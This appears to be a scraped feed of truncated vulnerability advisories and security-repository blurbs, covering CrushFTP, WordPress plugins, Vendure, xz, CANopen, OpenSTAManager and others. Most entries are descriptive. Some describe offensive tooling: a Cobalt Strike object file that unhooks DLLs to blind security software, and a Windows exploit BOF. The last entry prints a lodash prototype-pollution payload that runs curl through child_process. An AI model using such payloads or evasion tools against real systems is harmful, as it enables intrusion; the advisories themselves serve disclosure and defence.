CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution

CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes. id: CVE-2023-43177 info: name: CrushFTP 10.5.1 - Unauthenticated Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: | CrushFTP prior...

GiveWP Donation Plugin <= 3.16.1 - Unauthenticated PHP Object Injection

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.16.1. This is due to insufficient input validation on user-supplied data. An unauthenticated attacker can inject a serialized PHP object, which...

Vendure - Arbitrary File Read

Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data...

Revive Adserver 4.2 - Remote Code Execution

Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g...

Better Search Replace < 1.4.5 - PHP Object Injection

The Better Search Replace plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.4.4 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. I...

unhook-bof

这是一个用于刷新 DLL 并移除其钩子的 Beacon 对象文件。该代码源自 Cylance 的 Universal Unhooking 研究： https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 使用方法： 通过 Cobalt Strike - Script Manager 将 unhook.cna 加载到 Cobalt Strike 中 在 Beacon 中运行 'unhook' 构建方法： make 本项目衍生自： Reflective DLL Injectio...

unhook-bof

这是一个用于刷新 DLL 并移除其钩子的 Beacon 对象文件。代码来自 Cylance 的 Universal Unhooking 研究： https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 使用方法： 通过 Cobalt Strike - Script Manager 将 unhook.cna 加载到 Cobalt Strike 中 在 Beacon 中运行 'unhook' 构建方法： x86：打开 Visual Studio x86 Native Tools...

SUSE SLES12 Security Update : python-PyYAML (SUSE-SU-2026:4402-1)

The remote SUSE Linux SLES12 / SLESSAP12 host has a package installed that is affected by a vulnerability as referenced in the SUSE-SU-2026:4402-1 advisory. - Update to 5.3.1. - CVE-2020-14343: A vulnerability was discovered in the PyYAML library, where it was susceptible to arbitrary code...

PT-2026-104140

The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.7.1 via the OsPaypalConnectController::create order for transaction action registered as a public...

CVE-2024-35250-BOF

CVE-2024-35250-BOF CVE-2024-35250 的 Beacon Object File BOF 实现。 构建 项目模板来自bof-vs。 使用 Visual Studio 2019/2022 的 Release 配置进行编译。 鸣谢 https://github.com/varwara/CVE-2024-35250...

raccoon

Raccoon：Salesforce 对象访问审计器 由 NCC Group Plc 以开源形式发布 - https://www.nccgroup.com/ 由 Jerome Smith @exploresecurity 开发（感谢 Viktor Gazdag @wucpi） https://www.github.com/nccgroup/raccoon 根据 AGPL 发布 - 更多信息请参阅 LICENSE。 描述 该工具基于有效的共享和对象设置，确定哪些配置文件（Profile）和权限集（Permission...

s3_objects_check

S3 对象检查 描述 对 S3 对象有效权限的白盒评估，用于识别可公开访问的对象。 可以识别可公开访问的对象，以及可通过 AuthenticatedUsers 访问的对象（通过使用辅助配置文件）。 许多现有工具可以检查存储桶的权限，但由于 IAM 资源策略与 ACL 组合的复杂性，特定对象的有效权限往往难以评估。 该工具运行速度快，因为它使用了 asyncio 和 aiobotocore。 设置 权限 该工具利用两个 命名配置文件： WHITEBOXPROFILE - 此配置文件应具有对 S3 服务的读取权限。它将用于列出存储桶和对象，之后工具将尝试通过 未认证...

CVE-2026-82358

RT-Labs AB C-Open CANopen contains a write protection bypass in the SDO Service Data Object server implementation 'src/cosdoserver.c' that fails to properly validate write permissions when processing download-segment frames. An unauthenticated attacker on the CAN bus can initiate an SDO upload fo...

CVE-2024-3094

CVE-2024-3094 在 xz 的上游 tarball 中发现了恶意代码，从版本 5.6.0 开始。通过一系列复杂的混淆，liblzma 的构建过程从一个伪装成测试文件（存在于源代码中）的文件中提取出一个预构建对象文件，然后利用它修改 liblzma 代码中的特定函数。 这导致了一个被修改的 liblzma 库，任何链接到该库的软件都可以使用它，拦截并修改与该库的数据交互。本仓库包含两个快速脚本，用于检查你的 Kubernetes Pods 和 Docker 容器是否受该存在漏洞的最新版本 liblzma5（5.6.0 或 5.6.1）影响。...

CVE-2026-82358

RT-Labs AB C-Open CANopen contains a write protection bypass in the SDO server implementation (src/co_sdo_server.c ). The vulnerability occurs because the system fails to properly validate write permissions when processing download-segment frames . An unauthenticated attacker on the CAN bus can i...

CVE-2026-82358 RT-Labs AB C-Open CANopen SDO Server Write Protection Bypass

RT-Labs AB C-Open CANopen contains a write protection bypass in the SDO Service Data Object server implementation 'src/cosdoserver.c' that fails to properly validate write permissions when processing download-segment frames. An unauthenticated attacker on the CAN bus can initiate an SDO upload fo...

CVE-2026-29782-OpenSTAManager-RCE

CVE-2026-29782 — OpenSTAManager auth-SQLi → inyección de objetos PHP → RCE PoC para ejecución remota de código enOpenSTAManager ≤ 2.10.1. oauth2.php busca una fila zzoauth2 mediante el parámetro GET state controlado por el atacante y llama a unserialize sobre su columna accesstoken sin una...

f_hid-4.14-backports

fhid backports for Linux 4.14.190 SM-A525F Three fixes to drivers/usb/gadget/function/fhid.c, carried by hand to a 4.14.190 Android vendor kernel and verified on the device they run on. 4.14 is end-of-life. No stable backport exists for any of these, and none is coming. That is the whole reason...

cve-2026-39440-funnelforms-fix

Corrección CVE-2026-39440 FunnelForms Un plugin de WordPress de instalación directa que bloquea el controlador de importación de demostraciones vulnerable en FunnelForms Pro ≤ 3.8.1 para mitigar la Ejecución Remota de Código CVE-2026-39440, CVSS 9.9. La Vulnerabilidad Campo| Valor ---|--- ID CVE|...

CVE-2026-4800-POC

CVE-2026-4800-POC Aviso de Seguridad https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; Flujo Usar una vulnerabilida...